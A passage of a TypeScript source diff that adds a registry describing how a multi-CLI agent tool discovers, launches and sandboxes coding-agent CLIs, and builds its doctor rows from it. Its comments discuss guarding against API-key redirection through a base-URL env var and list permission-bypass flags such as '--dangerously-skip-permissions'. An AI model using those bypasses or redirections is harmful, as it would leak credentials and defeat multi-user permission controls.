docker in-container + * "tmux was re-created, resume the surviving transcript" path (`appendResumeFlag` in + * tmux-manager.ts) — a narrower, append-only sibling of the full `variants` shape above, + * which builds a whole command from scratch. Absent = this CLI has no resume flag to + * append (shell, opencode: opencode's docker resume goes through its own config object). + */ + resumeAppend?: { style: 'flag'; flag: string } | { style: 'positional'; token: string }; +} + +// --------------------------------------------------------------------------- +// Discovery +// --------------------------------------------------------------------------- + +export interface CliVersionProbe { + arg: string; + /** Serialized regex, applied to `--version` output only. See compileVersionRegex(). */ + regex?: string; + /** + * Treat a binary whose version output does not match as ABSENT rather than as + * present-with-unknown-version. For CLIs with short, generic binary names (`pi`), where a + * `which` hit is not by itself evidence the right program is installed. + */ + requireVersionMatch?: boolean; + /** Retry a failed probe with backoff instead of caching the failure (claude's behaviour). */ + retryOnTransientFailure?: boolean; +} + +/** + * An identity probe: proof that the binary we found is the program we meant, not an + * unrelated one that happens to share the name. + * + * A version probe is not enough on its own. Debian ships a `dsh` (dancer's shell) that + * answers `--version` perfectly happily, and npm carries squatters for `pi` and `grok`. + * `requireVersionMatch` catches a binary whose version output has the WRONG SHAPE; this + * catches one whose output has the right shape but names the wrong program. + * + * Ordering matters and belongs to the resolver, not to config: identity is checked FIRST, + * so an impostor is rejected before its version string is ever parsed. + */ +export interface CliIdentityProbe { + /** Argument that makes the binary describe itself, e.g. `--help`. */ + arg: string; + /** + * Serialized regex the output must match. Compiled through `compileVersionRegex()`, so + * it inherits the same length cap and nested-quantifier rejection — this is the second + * (and last) config-supplied regex in the registry, and it runs against truncated + * command output exactly like the first. + */ + regex: string; +} + +export interface CliDiscovery { + /** + * Binary name(s), first hit wins. + * + * This is why the registry fixes a live bug: the mode name is NOT always the binary + * name (`antigravity` runs `agy`), and `probeDockerCliVersion` assumed it was. + */ + binaries: string[]; + /** Extra directories probed after `which`. A leading `~` expands to homedir; nothing else. */ + searchDirs: string[]; + version?: CliVersionProbe; + /** Proof the binary is the right program, checked BEFORE the version probe. */ + identity?: CliIdentityProbe; + /** + * Names a LAUNCHER profile (profiles.ts): this CLI's binary is a launcher over some + * further target, so two questions the registry normally answers from the binary alone + * have to be asked of that target instead. + * + * - Is it RUNNABLE? Stricter than "is the binary on disk?". + * - What is the DEFAULT target, when the caller names none? + * + * DeepSeek is why this exists and is its only user. `dsh` launches a profile from + * `$DSH_HOME/profiles/`, and the profiles DeepSeek itself ships (`web`, + * `headless`) cannot drive a terminal pane — so a perfectly-installed `dsh` with no + * third-party TUI profile is installed-but-NOT-runnable. The Run button gates on + * runnability while the "add a profile" affordance gates on mere availability; + * collapsing the two would either hide the affordance that fixes the problem or offer a + * run that always fails. + * + * The default target reaches the launch spec as the `launcherDefaultTarget` engine + * value, so it stays a runtime lookup rather than a value frozen into config. + * + * Absent (the normal case) means the binary IS the program, and its presence IS + * runnability. + */ + launcherProfile?: string; + /** + * The launch param naming the target a caller asked for, so the launcher profile can say + * why THAT specific target will not start rather than only whether any will. Meaningless + * without `launcherProfile`. + */ + launcherTargetParam?: string; + install: { + /** + * DISPLAY TEXT ONLY. Shown verbatim in "CLI not found. Install with: ...". + * + * ⚠️ NEVER executed by the server. That is a documented invariant, not an oversight: + * running it would turn a config file into a code-execution surface. A proposal to + * execute this on enable is deliberately deferred to its own change so the trust + * model can be decided on its own merits rather than inside a refactor. + */ + command: Partial>; + /** Package name for an npm-installable CLI. Display/tooling metadata only. */ + npmPackage?: string; + docsUrl?: string; + }; +} + +// --------------------------------------------------------------------------- +// Environment +// --------------------------------------------------------------------------- + +export interface CliEnv { + /** `export K=V` in the bash prelude. Values are literals or engine values, never secrets. */ + exports: Array<{ name: string; value: string | { engine: EngineValue }; when?: Cond }>; + /** `unset K` — e.g. claude's CLAUDECODE, the truecolor CLIs' NO_COLOR. */ + unset: string[]; + /** + * NAMES ONLY. Values are read from the server's own process.env and pushed via + * `tmux setenv`, so a secret is structurally unable to reach the command line. + */ + tmuxSetenvKeys: string[]; + /** NAMES ONLY, forwarded as `docker exec -e NAME`. */ + dockerExecEnvNames: string[]; + /** + * Env vars set via `tmux setenv` from a LAUNCH PARAM rather than from the server's own + * environment — for a CLI whose switch is an env var instead of a flag. + * + * DeepSeek's `DSH_PERMISSION_MODE` is the case this exists for. Routing it through a + * declared param (rather than a bespoke configure step) is what lets the ordinary + * `privilegedParams` clamp apply to it: the clamp rewrites the param, and whatever the + * param ends up as is what gets exported. + * + * ⚠️ Values are read from a declared, schema-validated param, never from free text, and + * they reach the pane through `tmux setenv` rather than the command line. + */ + configSetenv?: Array<{ name: string; fromParam: string }>; + /** This entry's contribution to the env-override allowlist. Never widens BLOCKED_ENV_KEYS. */ + allowedPrefixes: string[]; + allowedKeys: string[]; + /** + * Env var carrying a JSON config blob pushed via `tmux setenv` (opencode's + * OPENCODE_CONFIG_CONTENT). Generic so it is not an opencode special case. + */ + configContentVar?: string; + /** + * Names an entry in `SETENV_PROFILES` (profiles.ts): extra `tmux setenv` work that is + * genuinely code-shaped rather than a list of key names. + * + * DeepSeek's status bridge is the only current user. It has to write an executable shim + * to disk (`ensureDeepSeekStatusShim()`), then export the shim's path and this session's + * pane id — a side effect and two computed values, none of which `tmuxSetenvKeys` (a + * list of names forwarded from the server's own env) can express. + * + * Plain secret forwarding stays in `tmuxSetenvKeys` and must NOT move here. + */ + setenvProfile?: string; +} + +// --------------------------------------------------------------------------- +// Capabilities +// --------------------------------------------------------------------------- + +/** + * The closed set of behavioural switches. Each field replaces an id-check somewhere. + * + * `hooks`, `transcript` and `altScreen` are INDEPENDENT on purpose. The three predicates + * they back (`hooksAvailableForMode`, `isExternalCliMode`, `isAltScreenStripMode`) describe + * three different, deliberately unequal sets, and deriving any one from another has already + * caused a real bug — a `shell` session has no hooks but is not an "external CLI", so + * `!isExternalCliMode()` wrongly accepted `until=stop` on it and hung for the full timeout. + * Keeping them as separate fields makes that invariant structural rather than commented. + */ +export interface CliCapabilities { + /** + * Non-Claude run mode that uses its own TUI and output format (`isExternalCliMode`): + * no Claude transcript, no hooks, no Claude-format token/BashTool parsing. An explicit + * field rather than derived from `hooks`/`kind`, precisely because it must stay + * independent — see this interface's own doc comment. + */ + external: boolean; + /** No direct-PTY fallback: the CLI must run inside tmux (secrets ride tmux setenv). */ + requiresMux: boolean; + /** + * Whether `stop`/`blocked` wait signals can ever fire for this CLI. + * + * ⚠️ A TRI-STATE, not a boolean, because for one CLI this is a per-SESSION question: + * 'none' — no hook signals, ever (every external CLI, and `shell`). + * 'always' — the CLI installs Codeman's hooks (claude). + * 'supervised' — the CLI REPORTS its own idle/working/blocked state to a supervisor + * over a generic env-gated contract, and Codeman is that supervisor + * (deepseek, via deepseek-status-shim.ts). Definitive rather than + * inferred, so it earns real signals — but the session can disarm the + * bridge (`deepSeekConfig.statusReporting: false`), and a docker or + * remote session cannot reach it at all. + * + * That last case is why `hooksAvailableForMode()` takes per-session options and why + * every call site must pass `sessionHookOptions(session)`. Answering from the mode alone + * would promise a `stop` that never arrives, which is the infinite-wait-dressed-as-a- + * timeout the predicate exists to prevent. + */ + hooks: 'none' | 'always' | 'supervised'; + /** + * Which transcript reader, if any, understands this CLI's on-disk history. + * + * `deepseek-zstd` is the odd one out: dsh writes zstd-compressed session files and + * appends ONE FRAME PER WRITE, so it needs a reader that walks frame headers itself + * rather than the stock decoder. It exists because the pane segmenter served dsh's + * ASCII-art splash as the worker's first answer. + */ + transcript: 'claude-jsonl' | 'codex-rollout' | 'deepseek-zstd' | 'none'; + /** + * 'strip-full' — alt-screen + erase-scrollback + mouse DECSETs stripped (Ink TUIs). + * 'strip-mux-only' — only tmux's own attach-time smcup (the safe default). + * 'preserve' — leave everything (a direct-PTY shell running vim/less/htop). + */ + altScreen: 'strip-full' | 'strip-mux-only' | 'preserve'; + echo: { + policy: 'buffer' | 'predict' | 'off'; + /** How the local-echo overlay locates the composer row. */ + anchor: { kind: 'glyph'; glyph: string; offset: number } | { kind: 'cursor' } | { kind: 'none' }; + /** Names a PREDICT_PROFILES key. Unknown or absent degrades to 'buffer', never to broken. */ + predictProfile?: string; + }; + /** Forwarding the wheel to the CLI's own transcript. 'never' keeps local scrollback. */ + wheelForward: { mode: 'never' | 'version-gated'; minVersion?: string }; + keyboardAccessory: 'agent' | 'shell'; + /** Multi-user: this CLI is a raw shell, so its commands need the privileged gate. */ + privilegedCommandGate: boolean; + startMode: 'interactive' | 'shell'; + stripInkBloat: boolean; + ralph: boolean; + respawn: boolean; + effort: boolean; + agentSkillInjection: boolean; + statusLineTelemetry: boolean; + /** Where a model override is delivered. Claude uniquely writes settings.local.json. */ + model: { source: 'flag' | 'claude-settings-file' | 'none'; param?: string }; + /** + * Params a non-granted multi-user owner may not set freely, and what they are forced to. + * Data-driven so a CUSTOM CLI's bypass flag is clampable exactly like codex's. + * + * `materializeWhenAbsent` distinguishes two real shapes, not one: + * - only-if-sent (false/omitted; codex, antigravity, grok): the CLI's own + * absent-config default already spawns safe, so the clamp should only touch + * a config the caller actually sent. + * - materialize (true; gemini, pi): the absent-config default is ITSELF unsafe + * for a non-granted owner (gemini defaults to `yolo`; pi's absent default is + * an interactive trust prompt the session user could just answer "yes" to), + * so the clamp must CREATE a config object even when none was sent. + */ + privilegedParams: Array<{ param: string; clampTo: boolean | string; materializeWhenAbsent?: boolean }>; + /** + * Env var names a non-granted multi-user owner may not set at all, DROPPED from + * `envOverrides` before spawn. + * + * ⚠️ This is a second, structurally different privileged surface from `privilegedParams` + * above, and one cannot substitute for the other. `privilegedParams` clamps a field on a + * per-CLI config object, which reaches the CLI as an argv flag. These clamp env vars, + * which reach it through `tmux setenv` — a path no argv clamp can see. + * + * DeepSeek is why this exists. Its permission switch IS an env var + * (`DSH_PERMISSION_MODE`), not a flag, so a config-level clamp alone leaves a real + * multi-user control with nothing enforcing it. Worse, `DSH_*` is an allowlisted + * `envOverrides` prefix and `applyEnvOverrides()` runs AFTER the per-CLI env configure + * step, so a non-granted owner sending that key on the SAME request would land last and + * hand back exactly the privilege the config clamp just removed. + * + * Dropping (rather than rewriting) is deliberate: the value then falls through to what + * the CLI's own env configuration exports, which is already the clamped one. + * + * The other two DeepSeek keys are here for reasons worth keeping written down: + * - `DSH_HOME` points the launcher at a profile tree whose plugin code runs at BOOT, + * before any approval row could apply. + * - `DEEPSEEK_BASE_URL` would redirect the server's OWN forwarded `DEEPSEEK_API_KEY` + * to a host of the caller's choosing. + * + * Every other CLI's bypass is a command-line flag reachable only through its config + * object, which is why `privilegedParams` alone is the whole gate for them. + */ + privilegedEnvKeys: string[]; + /** Version gates referenced by `capabilityGate` conditions. */ + gates: Record; + /** Cap on a single terminal frame, when this CLI needs a tighter one than the default. */ + maxFrameBytes?: number; +} + +// --------------------------------------------------------------------------- +// Location overlays (remote SSH / docker) +// --------------------------------------------------------------------------- + +/** Docker credential seeding policy — which host dirs are copied or shared into a container. */ +export interface CliCredStore { + rel: string; + shareDirs?: string[]; + shareFiles?: string[]; + seedFiles?: string[]; + seedWhole?: boolean; +} + +export interface CliOverlays { + /** + * The remote/docker DEFAULT pane command: just the CLI invocation (e.g. `claude + * --dangerously-skip-permissions`), independent of each location's own wrapping + * (remote: login-shell `-c`; docker: `exec`). Absent `command` = the bare + * `discovery.binaries[0]`. `disabled: true` = this location has no story for this CLI at + * all (docker for `shell`) — distinct from "no override", which still gets a default. + */ + remote?: { command?: string } | { disabled: true }; + docker?: { command?: string } | { disabled: true }; + credStore?: CliCredStore; +} + +// --------------------------------------------------------------------------- +// The entry +// --------------------------------------------------------------------------- + +export interface CliEntry { + id: CliId; + label: string; + /** Two-ish character tab badge, e.g. 'OC'. */ + shortBadge: string; + /** Single hex colour. CSS derives every per-CLI gradient from it via --cli-accent. */ + accent: string; + enabled: boolean; + /** Set by the loader from the shipped catalog; a user entry can never claim it. */ + stock: boolean; + order: number; + /** 'shell' unlocks the raw-shell code paths; everything else is an agent CLI. */ + kind: 'agent' | 'shell'; + discovery: CliDiscovery; + launch: CliLaunch; + env: CliEnv; + capabilities: CliCapabilities; + overlays: CliOverlays; +} + +/** + * The on-disk shape of ~/.codeman/clis.json — overrides and custom entries only, never the + * full catalog. Small and hand-readable by design. + * + * ⚠️ READ-ONLY in this build. Nothing here writes this file: there is no settings UI and no + * write API yet, so there is nothing to persist. That also means importing the registry + * (and therefore `schemas.ts`, which validates against it) performs no filesystem writes — + * an import side effect worth not having. + */ +export interface CliRegistryFile { + schemaVersion: number; + /** + * Stock ids already introduced to this install — the ratchet that lets one file both gain + * newly-shipped CLIs on upgrade AND remember that the user disabled one. + * + * Read and IGNORED here, and never written: the ratchet only earns its keep once a CLI + * can be disabled, which needs the write API. Declared now purely so a file written by a + * later version still loads cleanly under this one instead of failing `.strict()`. + */ + seededStockIds?: string[]; + /** Keyed by id: a partial override of a stock entry, or a complete custom entry. */ + clis: Record; +} diff --git a/src/config/dependency-registry.ts b/src/config/dependency-registry.ts index 65ff9ca84..5d648c010 100644 --- a/src/config/dependency-registry.ts +++ b/src/config/dependency-registry.ts @@ -7,9 +7,8 @@ * @module config/dependency-registry */ -import { PI_VERSION_REGEX } from '../utils/pi-cli-resolver.js'; -import { GROK_VERSION_REGEX } from '../utils/grok-cli-resolver.js'; -import { DEEPSEEK_VERSION_REGEX } from '../utils/deepseek-cli-resolver.js'; +import { enabledClis } from './cli-registry/registry.js'; +import { compileVersionRegex } from './cli-registry/patterns.js'; export type ProbeEnvironment = 'linux' | 'darwin' | 'win32' | 'wsl'; @@ -58,6 +57,87 @@ export interface ToolDependency { const ALL: ProbeEnvironment[] = ['linux', 'darwin', 'wsl', 'win32']; +/** + * The doctor's ROW IDENTITY for a CLI, where it differs from the registry id. + * + * These are two separate contracts and they have never been the same thing: `codeman doctor` + * prints a tool table whose ids predate the registry, and `dsh` names the BINARY while the + * run mode is `deepseek`. Keeping the historical id here means the doctor's output does not + * shift under a refactor that was supposed to change nothing a user can see. + * + * `usedBy` is likewise preserved verbatim rather than generated, because the strings are + * shown to the user and claude's does not follow the pattern. + */ +const DOCTOR_ROW_OVERRIDES: Record = { + claude: { usedBy: ['Claude Code sessions (default backend)'] }, + opencode: { usedBy: ['OpenCode sessions'] }, + codex: { usedBy: ['Codex sessions'] }, + gemini: { usedBy: ['Gemini sessions'] }, + antigravity: { usedBy: ['Antigravity sessions'] }, + pi: { usedBy: ['Pi sessions'] }, + grok: { usedBy: ['Grok sessions'] }, + // Both the id and the label are historical: `dsh` names the binary, and the doctor has + // always spelled this row out in full rather than as `${label} CLI`. + deepseek: { id: 'dsh', label: 'DeepSeek Harness CLI', usedBy: ['DeepSeek sessions'] }, +}; + +/** + * Build one `codeman doctor` row per enabled CLI, straight from its registry entry. + * + * This replaces eight hand-written rows that had to be kept in step with the run modes by + * hand — and were not: an earlier draft of this refactor silently dropped the Grok and + * DeepSeek rows, so `codeman doctor` stopped reporting two shipped CLIs at all. Deriving + * the list makes that class of omission impossible. + * + * ⚠️ The version regex is compiled through `compileVersionRegex()`, NOT `new RegExp()`. It + * is a config-supplied pattern, so it goes through the same length cap and + * nested-quantifier rejection the argv engine applies; the doctor runs it over command + * output exactly like the resolver does, and skipping the guard here would leave one + * unguarded path into a user-supplied regex. + * + * ⚠️ Sharing the entry's regex with the resolver is what stops the doctor and the run mode + * telling the user opposite things about the same binary — the Dependencies panel reporting + * "Pi CLI ✓" on a box where Run Pi stays hidden. + */ +function cliDependencyEntries(): ToolDependency[] { + const rows: ToolDependency[] = []; + for (const cli of enabledClis()) { + // `shell` has no binary of its own (the login shell is resolved at spawn time), so + // there is nothing for the doctor to probe. + const bin = cli.discovery.binaries[0]; + if (!bin) continue; + + const override = DOCTOR_ROW_OVERRIDES[cli.id as string]; + const version = cli.discovery.version; + const versionRegex = version?.regex ? (compileVersionRegex(version.regex) ?? undefined) : undefined; + + rows.push({ + id: override?.id ?? (cli.id as string), + label: override?.label ?? `${cli.label} CLI`, + category: 'core', + required: false, + usedBy: override?.usedBy ?? [`${cli.label} sessions`], + resolvers: [ + { + match: ALL, + resolver: { + kind: 'path', + bins: [bin], + versionArg: version?.arg ?? '--version', + versionRegex, + // Only meaningful for a CLI whose binary name is short, generic or squatted + // (pi, grok, dsh): a bare `which` hit there is not evidence of the right + // program, so a version mismatch means MISSING rather than unknown-version. + requireVersionMatch: version?.requireVersionMatch, + }, + }, + ], + installHint: cli.discovery.install.command, + }); + } + return rows; +} + export const DEPENDENCY_REGISTRY: ToolDependency[] = [ { id: 'node', @@ -68,15 +148,6 @@ export const DEPENDENCY_REGISTRY: ToolDependency[] = [ resolvers: [{ match: ALL, resolver: { kind: 'path', bins: ['node'], versionArg: '--version' } }], installHint: { linux: 'https://nodejs.org', darwin: 'brew install node', wsl: 'https://nodejs.org' }, }, - { - id: 'claude', - label: 'Claude CLI', - category: 'core', - required: false, - usedBy: ['Claude Code sessions (default backend)'], - resolvers: [{ match: ALL, resolver: { kind: 'path', bins: ['claude'], versionArg: '--version' } }], - installHint: { linux: 'https://docs.claude.com/claude-code', darwin: 'https://docs.claude.com/claude-code' }, - }, { id: 'tmux', label: 'tmux', @@ -85,111 +156,7 @@ export const DEPENDENCY_REGISTRY: ToolDependency[] = [ resolvers: [{ match: ['linux', 'darwin', 'wsl'], resolver: { kind: 'path', bins: ['tmux'], versionArg: '-V' } }], installHint: { linux: 'sudo apt install tmux', darwin: 'brew install tmux', wsl: 'sudo apt install tmux' }, }, - { - id: 'opencode', - label: 'OpenCode CLI', - category: 'core', - required: false, - usedBy: ['OpenCode sessions'], - resolvers: [{ match: ALL, resolver: { kind: 'path', bins: ['opencode'], versionArg: '--version' } }], - }, - { - id: 'codex', - label: 'Codex CLI', - category: 'core', - required: false, - usedBy: ['Codex sessions'], - resolvers: [{ match: ALL, resolver: { kind: 'path', bins: ['codex'], versionArg: '--version' } }], - }, - { - id: 'gemini', - label: 'Gemini CLI', - category: 'core', - required: false, - usedBy: ['Gemini sessions'], - resolvers: [{ match: ALL, resolver: { kind: 'path', bins: ['gemini'], versionArg: '--version' } }], - }, - { - id: 'antigravity', - label: 'Antigravity CLI', - category: 'core', - required: false, - usedBy: ['Antigravity sessions'], - resolvers: [{ match: ALL, resolver: { kind: 'path', bins: ['agy'], versionArg: '--version' } }], - }, - { - id: 'pi', - label: 'Pi CLI', - category: 'core', - required: false, - usedBy: ['Pi sessions'], - // The only entry that requires a version match, for the same reason - // pi-cli-resolver.ts probes: `pi` is a short generic name (Raspberry Pi tooling, - // personal scripts), so a `which pi` hit alone is not the coding agent. Both sides - // share PI_VERSION_REGEX, so the doctor and the run mode cannot drift into telling - // the user opposite things about the same binary. - resolvers: [ - { - match: ALL, - resolver: { - kind: 'path', - bins: ['pi'], - versionArg: '--version', - versionRegex: PI_VERSION_REGEX, - requireVersionMatch: true, - }, - }, - ], - }, - { - id: 'grok', - label: 'Grok CLI', - category: 'core', - required: false, - usedBy: ['Grok sessions'], - // Version match required for the same reason as pi: `grok` has known squatters - // (the unrelated @vibe-kit/grok-cli npm package also installs a `grok` bin), so a - // bare `which grok` hit is not the coding agent. Both sides share - // GROK_VERSION_REGEX, so the doctor and the run mode cannot drift. - resolvers: [ - { - match: ALL, - resolver: { - kind: 'path', - bins: ['grok'], - versionArg: '--version', - versionRegex: GROK_VERSION_REGEX, - requireVersionMatch: true, - }, - }, - ], - }, - { - id: 'dsh', - label: 'DeepSeek Harness CLI', - category: 'core', - required: false, - usedBy: ['DeepSeek sessions'], - // Version match required, and for a sharper reason than pi or grok: `dsh` is - // not merely a squattable npm name, it is an existing Debian program - // (dancer's shell, `apt install dsh`). The run mode's resolver additionally - // demands the harness's own help banner before it will point a spawn line at - // a candidate; the doctor is advisory and settles for the shared - // DEEPSEEK_VERSION_REGEX, so the two cannot disagree about the VERSION even - // though the resolver is the stricter of the pair about IDENTITY. - resolvers: [ - { - match: ALL, - resolver: { - kind: 'path', - bins: ['dsh'], - versionArg: '--version', - versionRegex: DEEPSEEK_VERSION_REGEX, - requireVersionMatch: true, - }, - }, - ], - }, + ...cliDependencyEntries(), { id: 'libreoffice', label: 'LibreOffice', diff --git a/src/cron/cron-service.ts b/src/cron/cron-service.ts index 9e0faad10..7a35e2411 100644 --- a/src/cron/cron-service.ts +++ b/src/cron/cron-service.ts @@ -10,6 +10,7 @@ import { v4 as uuidv4 } from 'uuid'; import { readFile } from 'node:fs/promises'; import { statSync, realpathSync } from 'node:fs'; +import { getCli } from '../config/cli-registry/registry.js'; import { Session } from '../session.js'; import { applyWorkspaceHooks } from '../hooks-config.js'; import { SseEvent } from '../web/sse-events.js'; @@ -58,9 +59,21 @@ export function clampCronExternalCliConfigs( ownerGranted: boolean ): { geminiConfig: GeminiConfig | undefined; piConfig: PiConfig | undefined } { if (ownerGranted) return { geminiConfig: undefined, piConfig: undefined }; + + // A cron job carries no per-CLI config at all, so ONLY the materialize-when-absent params + // can apply here — an only-if-sent clamp has nothing to clamp. Reading them off the + // registry rather than naming gemini and pi means a future CLI whose bare spawn is unsafe + // is covered the moment its entry says so, instead of silently missing this path. + const entry = getCli(mode); + const materialized: Record = {}; + for (const { param, clampTo, materializeWhenAbsent } of entry?.capabilities.privilegedParams ?? []) { + if (materializeWhenAbsent) materialized[param] = clampTo; + } + const has = Object.keys(materialized).length > 0; + const field = entry?.launch.legacyConfigField; return { - geminiConfig: mode === 'gemini' ? { approvalMode: 'auto_edit' } : undefined, - piConfig: mode === 'pi' ? { approveProjectTrust: false } : undefined, + geminiConfig: has && field === 'geminiConfig' ? (materialized as GeminiConfig) : undefined, + piConfig: has && field === 'piConfig' ? (materialized as PiConfig) : undefined, }; } @@ -387,7 +400,7 @@ export class CronService { // Section 6.3: re-resolve the owner's grant at FIRE time (it may have been revoked // since create). Gates shell/launchCommand AND clamps the external-CLI bypass below. const ownerGranted = await canUsernameRunPrivilegedCommands(job.owner); - if ((job.agentType === 'shell' || job.launchCommand) && !ownerGranted) { + if ((getCli(job.agentType)?.capabilities.privilegedCommandGate || job.launchCommand) && !ownerGranted) { return this.failRun(job, run, 'Owner lacks the can-bypass-permissions grant for shell/launchCommand jobs'); } diff --git a/src/docker-hosts.ts b/src/docker-hosts.ts index e2a924865..0c2e01207 100644 --- a/src/docker-hosts.ts +++ b/src/docker-hosts.ts @@ -24,6 +24,7 @@ import { existsSync, mkdirSync, readFileSync, writeFileSync } from 'node:fs'; import fs from 'node:fs/promises'; import { join, dirname } from 'node:path'; +import { getCli } from './config/cli-registry/registry.js'; import { fileURLToPath } from 'node:url'; import { homedir } from 'node:os'; import { createHash } from 'node:crypto'; @@ -1077,8 +1078,13 @@ export async function probeDockerCliVersion( mode: SessionMode ): Promise { if (IS_TEST_MODE) return undefined; - const bin = mode === 'shell' ? null : mode; - if (!bin) return undefined; + // ⚠️ The MODE NAME IS NOT ALWAYS THE BINARY NAME — `antigravity` runs `agy`. This used + // to pass the mode straight through as the command, which would have probed a binary that + // does not exist. Only claude reaches this today (it is the one CLI with a version gate), + // so nothing was actually broken, but the registry is what makes it correct for the next + // CLI that needs a version. + const bin = getCli(mode)?.discovery.binaries[0]; + if (!bin) return undefined; // `shell` has no binary of its own const argv = dockerEngineArgv(docker); try { const { stdout } = await execFileAsync( diff --git a/src/session-cli-registry-bridge.ts b/src/session-cli-registry-bridge.ts new file mode 100644 index 000000000..e28052a97 --- /dev/null +++ b/src/session-cli-registry-bridge.ts @@ -0,0 +1,200 @@ +/** + * @fileoverview Bridges the legacy per-mode spawn options (`buildSpawnCommand`'s option bag + * in tmux-manager.ts, unchanged on the wire since before this registry existed) onto the CLI + * registry's generic argv engine (`renderLaunch`). + * + * The per-mode `Config` objects on `POST /api/sessions` predate the registry and stay + * on the wire for API compatibility (`docs/versioning-policy.md`), so SOMETHING has to know + * which field holds which CLI's config. That knowledge is DATA — `launch.legacyConfigField` + * and `launch.legacyConfigAliases`, declared once per entry in `config/cli-registry/stock.ts` + * — which is what lets this file stay a generic reader rather than a `switch (mode)`. + * + * An entry declaring NO `legacyConfigField` reads its params straight off the top-level + * option bag. That is claude, whose discrete `claudeMode`/`allowedTools`/`model`/ + * `resumeSessionId` fields predate the `Config` pattern — not a special case for + * claude, just the other of the two shapes the wire has always had. + * + * @module session-cli-registry-bridge + */ + +import type { CliEntry } from './config/cli-registry/types.js'; +import { renderLaunch, type EngineValues, type ParamValues } from './config/cli-registry/argv.js'; +import { matchesPattern } from './config/cli-registry/patterns.js'; +import { buildEffortCliArgs, sanitizeCliSessionName } from './session-cli-builder.js'; +import { compareVersions } from './utils/dependency-checker.js'; +import { getClaudeCliVersion } from './utils/claude-cli-resolver.js'; +import { launcherDefaultTarget } from './utils/cli-launcher.js'; +import { getCli } from './config/cli-registry/registry.js'; +import type { + AntigravityConfig, + ClaudeMode, + CodexConfig, + DeepSeekConfig, + EffortLevel, + GeminiConfig, + GrokConfig, + OpenCodeConfig, + PiConfig, +} from './types/session.js'; + +export interface SpawnBridgeOptions { + mode: string; + sessionId: string; + model?: string; + claudeMode?: ClaudeMode; + allowedTools?: string; + openCodeConfig?: OpenCodeConfig; + codexConfig?: CodexConfig; + geminiConfig?: GeminiConfig; + antigravityConfig?: AntigravityConfig; + piConfig?: PiConfig; + grokConfig?: GrokConfig; + deepSeekConfig?: DeepSeekConfig; + resumeSessionId?: string; + effort?: EffortLevel; + sessionName?: string; + claudeCliVersion?: string | null; +} + +/** + * The raw legacy config object this entry's params should be read from: the declared + * `Config` field, or the option bag itself when none is declared. + */ +function legacyConfigFor(entry: CliEntry, options: SpawnBridgeOptions): Record | undefined { + const field = entry.launch.legacyConfigField; + if (field === undefined) return options as unknown as Record; + return (options as unknown as Record)[field] as Record | undefined; +} + +/** + * Same lookup, addressed by mode rather than by entry, for callers holding only a mode and an + * option bag (tmux-manager's env configuration). Returns undefined for an unregistered mode. + */ +export function legacyConfigForMode( + mode: string, + options: Record +): Record | undefined { + const entry = getCli(mode); + if (!entry) return undefined; + return legacyConfigFor(entry, options as unknown as SpawnBridgeOptions); +} + +/** + * Build `ParamValues` for every declared `token`/`bool`/`enum` param by reading it out of the + * legacy config object through `legacyConfigAliases` (falling back to the param's own name). + * `engine`-sourced params are skipped — those come from `EngineValues`, never legacy config. + */ +function buildParamsFromLegacyConfig(entry: CliEntry, rawConfig: Record | undefined): ParamValues { + const params: ParamValues = {}; + if (!rawConfig) return params; + const aliases = entry.launch.legacyConfigAliases ?? {}; + for (const [paramName, spec] of Object.entries(entry.launch.params)) { + if (spec.type === 'engine') continue; + const legacyKey = aliases[paramName] ?? paramName; + const value = rawConfig[legacyKey]; + if (value === undefined) continue; + // Anything that is not already a string or boolean is DROPPED rather than coerced: the + // wire shape is Zod-validated upstream, so a surprise here means something is wrong, + // and `String({})` would happily produce a token nobody intended. + if (typeof value === 'string' || typeof value === 'boolean') { + params[paramName] = value; + } + } + return params; +} + +/** + * The env vars this CLI declares in `env.configSetenv`, resolved from its legacy config + * object — i.e. the ones whose value comes from the CALLER rather than the server's own + * environment. + * + * ⚠️ Re-validated here against the declared `ParamSpec` even though the wire shape is already + * Zod-checked upstream. These values reach `tmux setenv`, and for DeepSeek the value IS a + * permission level: a builder must never trust its caller on a security-relevant field, and + * the cost of re-checking an enum is nothing. + * + * A value that fails validation is DROPPED, not defaulted — which is the safe direction: the + * var goes unset, and the CLI falls back to its own default (for dsh, `workspace-write`, + * which asks) rather than to something we guessed. + */ +export function configSetenvValues( + entry: CliEntry, + rawConfig: Record | undefined +): Record { + const out: Record = {}; + const mappings = entry.env.configSetenv; + if (!mappings || !rawConfig) return out; + const aliases = entry.launch.legacyConfigAliases ?? {}; + for (const { name, fromParam } of mappings) { + const spec = entry.launch.params[fromParam]; + if (!spec) continue; // schema-validated at load; belt and braces + const raw = rawConfig[aliases[fromParam] ?? fromParam]; + if (typeof raw !== 'string') continue; + if (spec.type === 'enum' && !spec.values.includes(raw)) continue; + if (spec.type === 'token' && !matchesPattern(spec.pattern, raw)) continue; + out[name] = raw; + } + return out; +} + +/** + * Which `capabilities.gates` are currently satisfied. `resolveVersion` is called AT MOST + * ONCE, and only when the entry actually declares a gate — a `--version` subprocess probe + * has no reason to run for an entry with none. + */ +function resolveGatesPassed(entry: CliEntry, resolveVersion: () => string | null): Set { + const passed = new Set(); + const gateEntries = Object.entries(entry.capabilities.gates); + if (gateEntries.length === 0) return passed; + const cliVersion = resolveVersion(); + if (!cliVersion) return passed; // fail-closed: an unknown version satisfies no gate + for (const [name, gate] of gateEntries) { + if (compareVersions(cliVersion, gate.minVersion) >= 0) passed.add(name); + } + return passed; +} + +/** + * Render the spawn command for `entry` from the legacy option bag. Returns `undefined` for a + * `shell`-kind entry (or any entry declaring no launch variants), which callers take as "fall + * back to the local login-shell resolution" — shell has no CLI to template. + */ +export function buildSpawnCommandFromRegistry(entry: CliEntry, options: SpawnBridgeOptions): string | undefined { + if (entry.kind === 'shell' || entry.launch.variants.length === 0) return undefined; + + const params = buildParamsFromLegacyConfig(entry, legacyConfigFor(entry, options)); + + const engineValues: EngineValues = { + sessionId: options.sessionId, + // Allowlist-sanitized (Unicode letters/digits + ` . _ : -`, 64 chars), matching + // buildNameCliArgs exactly — sanitizeCliSessionName is the injection guard for this + // value, NOT the `quote: 'double'` escaping on the --name arg (which only makes an + // unsafe value inert, it does not launder one into something meaningful). + sessionName: sanitizeCliSessionName(options.sessionName), + }; + + // Only a launcher CLI has one, and resolving it means a filesystem scan of the launcher's + // profile tree, so skip the lookup entirely for the eight entries that declare no profile. + if (entry.discovery.launcherProfile !== undefined) { + engineValues.launcherDefaultTarget = launcherDefaultTarget(entry) ?? undefined; + } + + // Mirrors buildEffortCliArgs exactly: ultracode carries a fixed settings blob, every other + // level rides a plain `--effort ` flag. Reusing the canonical builder here (rather + // than 